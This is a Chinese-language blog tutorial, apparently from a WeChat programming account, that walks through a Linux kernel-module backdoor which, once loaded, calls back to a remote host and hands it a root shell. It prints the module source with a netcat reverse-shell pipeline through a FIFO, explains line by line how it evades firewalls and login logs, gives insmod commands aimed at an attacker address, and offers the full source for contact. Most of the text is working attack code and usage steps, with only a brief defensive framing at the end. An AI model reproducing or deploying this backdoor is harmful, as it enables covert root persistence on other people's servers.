想象这样一个场景:攻击者已经拿到了你服务器的root权限,但他不想每次都用ssh登录留下痕迹。于是他在内核里塞了一个"定时炸弹"——只要加载这个内核模块,服务器就会自动向外发起连接,给攻击者送上一个拥有root权限的交互式shell。

这个技术核心就三个关键词:

  • LKM(Loadable Kernel Module,可加载内核模块):就是那个.ko文件,能动态插入内核
  • Rootkit:隐藏自身、维持权限的恶意工具集合
  • 反向Shell:受害者主动连接攻击者,绕过防火墙

一、代码解剖:每一行都在干什么?

...
static char *host = "REV_TCP_LH=127.0.0.1";
module_param(host, charp, 0000);
static char *port = "REV_TCP_LP=1337";
module_param(port, charp, 0000);

static int __init mload(void)
{
	char *envp[] = {
				"HOME=/root",
				"TERM=xterm",
				host,
				port,
				NULL
			};

	char *argv[] = {
				"/bin/bash",
				"-c",
				"/usr/bin/rm /tmp/pinkit;/usr/bin/mkfifo /tmp/pinkit;/usr/bin/cat /tmp/pinkit|/bin/sh -i 2>&1|/usr/bin/nc $REV_TCP_LH $REV_TCP_LP >/tmp/pinkit",
				NULL
			};

	printk(KERN_INFO "[+] Command Execution Begin\n");
	call_usermodehelper(argv[0],argv,envp,UMH_WAIT_EXEC);
	printk(KERN_INFO "[+] Command Execution End\n");
	return 0;
}

static void __exit munload(void)
{
	printk(KERN_INFO "[+] Happy Hacking!\n");
}

module_init(mload);
module_exit(munload);
...

If you need the complete source code, please add the WeChat number (c17865354792)

让我们把这段代码掰开揉碎了看。

1. 参数配置部分

static char *host = "REV_TCP_LH=127.0.0.1";
module_param(host, charp, 0000);
static char *port = "REV_TCP_LP=1337";
module_param(port, charp, 0000);

这里用了module_param宏,允许你在加载模块时动态传入参数。比如:

insmod backdoor.ko host="REV_TCP_LH=192.168.1.100" port="REV_TCP_LP=4444"

设计巧思:把IP和端口伪装成环境变量名(REV_TCP_LH/LP),既方便传参,又能在shell命令里直接用$REV_TCP_LH这种方式引用,省去了字符串拼接的麻烦。

2. 环境变量设置

char *envp[] = {
    "HOME=/root",
    "TERM=xterm",
    host,      // 实际是 "REV_TCP_LH=xxx.xxx.xxx.xxx"
    port,      // 实际是 "REV_TCP_LP=xxxx"
    NULL
};

这里配置了子进程的环境变量。call_usermodehelper在执行用户空间程序时,会把这些环境变量传给新进程。

3. 核心攻击载荷

char *argv[] = {
    "/bin/bash",
    "-c",
    "/usr/bin/rm /tmp/pinkit;/usr/bin/mkfifo /tmp/pinkit;/usr/bin/cat /tmp/pinkit|/bin/sh -i 2>&1|/usr/bin/nc $REV_TCP_LH $REV_TCP_LP >/tmp/pinkit",
    NULL
};

这一行字符串就是整个攻击的"灵魂"。让我们拆解这条复杂的命令:

第一步:清理现场
/usr/bin/rm /tmp/pinkit —— 删除之前可能残留的管道文件

第二步:创建命名管道(FIFO)
/usr/bin/mkfifo /tmp/pinkit —— 创建一个特殊的管道文件。FIFO是"先进先出"的意思,在这里充当数据中转站。

第三步:经典的nc反弹shell三联招

cat /tmp/pinkit | /bin/sh -i 2>&1 | nc $REV_TCP_LH $REV_TCP_LP > /tmp/pinkit

这个管道链的流向是这样的:

  1. cat /tmp/pinkit 读取管道里的数据(来自nc接收到的命令)
  2. 通过管道|传给/bin/sh -i(交互式shell执行)
  3. shell的输出(包括标准输出和错误输出2>&1)再传给nc
  4. nc把数据发给攻击者,同时把攻击者发来的数据写回/tmp/pinkit管道

这是一个双向通信的循环:攻击者输入 → nc接收 → 写入管道 → cat读取 → sh执行 → 输出给nc → 回传给攻击者。

4. 内核调用用户空间程序

call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);

这是整个实现最关键的一行。call_usermodehelper是Linux内核提供的一个API,允许在内核态直接启动用户态程序

参数解释:

  • argv[0]:要执行的程序(/bin/bash)
  • argv:参数数组
  • envp:环境变量数组
  • UMH_WAIT_EXEC:等待执行完成(但这里的"完成"只代表命令启动,不代表管道关闭)

为什么从内核启动shell能拿到root权限?因为内核模块运行在最高特权级(Ring 0),通过这种方式启动的子进程自然继承了root权限,而且不会经过PAM认证、不会留下ssh登录日志

二、设计思路与技术选型

1. 为什么选择LKM而不是用户态程序?

  • 隐蔽性强:lsmod能看到,但可以通过各种技术隐藏(比如从模块链表中摘除)
  • 权限高:直接内核态运行,绕过所有用户态的权限检查
  • 触发时机可控:可以在系统启动时加载,或者通过udev规则触发

2. 为什么选择反向连接(Reverse Shell)而不是正向绑定?

  • 防火墙友好:大多数服务器防火墙会拦截外部入站连接,但通常允许出站连接
  • NAT/内网穿透:受害者在内网也能连出来,不需要公网IP
  • 隐蔽性:网络连接看起来像是正常的出站流量,不像监听端口那么显眼

3. 为什么要用FIFO管道?

nc本身只能做单方向的数据转发,通过FIFO管道实现了全双工通信

  • 攻击者发送的命令通过nc → 管道 → sh执行
  • sh的输出通过nc回传给攻击者

这相当于用nc和管道"搭了一座桥",让攻击者的shell会话能够交互。

三、执行流程图解

[攻击者机器]                    [受害者机器(已植入.ko文件)]
     |                                    |
     |                                    | insmod backdoor.ko
     |                                    |
     |                                    v
     |                         [内核模块加载]
     |                         [call_usermodehelper]
     |                                    |
     |                                    v
     |                         [启动 /bin/bash -c]
     |                                    |
     |                                    v
     |                    [创建FIFO管道 /tmp/pinkit]
     |                                    |
     |                                    v
     |                    [nc 连接 攻击者IP:端口]
     |<---------------------- SYN ---------------------|
     |----------------------- SYN+ACK ---------------->|
     |<---------------------- ACK ---------------------|
     |                                    |
     |                                    v
     |                    [建立TCP连接成功]
     |                                    |
     |<====== 攻击者输入命令 "whoami" =================|
     |                                    |
     |                    [nc接收 → 写入FIFO → sh执行]
     |                                    |
     |====== 返回执行结果 "root" =====================>|
     |                                    |
     |              [循环往复,直到连接断开或rmmod]

四、涉及的技术领域知识点

1. Linux内核模块编程

  • module_init/module_exit宏:定义模块生命周期
  • MODULE_LICENSE等宏:模块元信息声明
  • 内核与用户空间的边界跨越

2. 进程间通信(IPC)

  • FIFO(命名管道):文件系统上的管道,允许无关进程通信
  • 管道符|的底层实现:shell创建pipe,连接stdout和stdin

3. 网络编程基础

  • TCP三次握手:反向连接建立过程
  • Netcat(nc):网络瑞士军刀,这里作为数据转发器
  • 文件描述符重定向2>&1将stderr合并到stdout

4. Linux系统调用链

  • call_usermodehelpercall_usermodehelper_execkernel_execve
  • 内核如何构造用户态进程上下文

5. Shell技巧

  • 交互式shell-i参数):强制bash交互模式,即使stdin不是终端
  • Here-document与管道:数据流的编排艺术

五、测试运行流程

步骤 1:开启监听端

打开第一个终端,模拟攻击者机器:

# 监听 1339 端口(与代码中默认端口一致,或自定义)
nc -lvp 1339

你会看到:

listening on [any] 1339 ...

步骤 2:加载内核模块(受害者视角)

打开第二个终端(同一台虚拟机内,模拟受害者执行了恶意模块):

# 切换到 root(必须 root 才能加载内核模块)
sudo su

# 加载模块,使用默认参数(连回 127.0.0.1:1337)
insmod backdoor.ko

# 或者指定远程IP和端口(假设攻击者在 192.168.1.100:4444)
# insmod backdoor.ko host="REV_TCP_LH=192.168.1.100" port="REV_TCP_LP=4444"

步骤 3:观察连接建立

如果一切正常:

**第二个终端(加载模块的终端)**会显示:

# 看起来命令立即返回了,但实际上后台已经启动了 nc 进程

**第一个终端(nc 监听端)**会显示:

connect to [127.0.0.1] from localhost [127.0.0.1] 54321
sh: cannot set terminal process group (-1): Inappropriate ioctl for device
sh: no job control in this shell
#

这时候你在第一个终端输入:

id
pwd
ls -la

看到 uid=0(root) 就说明成功了——你现在通过 nc 拿到了一个 root shell。


查看模块状态

在第二个终端(受害者端)可以查看:

# 查看已加载模块
lsmod | grep backdoor
# 输出:backdoor 16384 0 - Live 0xffffffffc0xxx000 (O)

# 查看详细内核日志(看 printk 的输出)
dmesg | tail -n 10
# 应该能看到:[+] Command Execution Begin 和 [+] Command Execution End

清理现场

测试完毕后必须彻底清理:

# 1. 卸载内核模块(停止新连接,但已建立的 nc 进程可能还在)
rmmod backdoor

# 2. 检查并杀掉残留的 nc 进程
ps aux | grep nc
kill -9 [nc的PID]

# 3. 删除管道文件(如果存在)
rm -f /tmp/pinkit

# 4. 验证清理
lsmod | grep backdoor  # 应该无输出
ls /tmp/pinkit         # 应该提示 No such file

更彻底的清理:直接恢复快照,这是最安全的做法。


总结

这种技术的核心思想是**“借尸还魂”**——借用Linux内核 legitimate 的API(call_usermodehelper),执行 legitimate 的系统工具(bash、nc),但组合出了恶意的功能。

它展示了在Linux系统中,内核态的权限有多高——不仅能读写内存、控制硬件,还能直接 spawn 拥有完全权限的用户进程。这也解释了为什么内核安全是整个系统安全的基石。

对于安全研究者来说,理解这种技术有助于:

  • 设计更完善的入侵检测系统(IDS)
  • 理解内核级攻击的杀伤链(Kill Chain)
  • 构建纵深防御体系(Defense in Depth)

Welcome to follow WeChat official account【程序猿编码

Logo

汇聚全球AI编程工具,助力开发者即刻编程。

更多推荐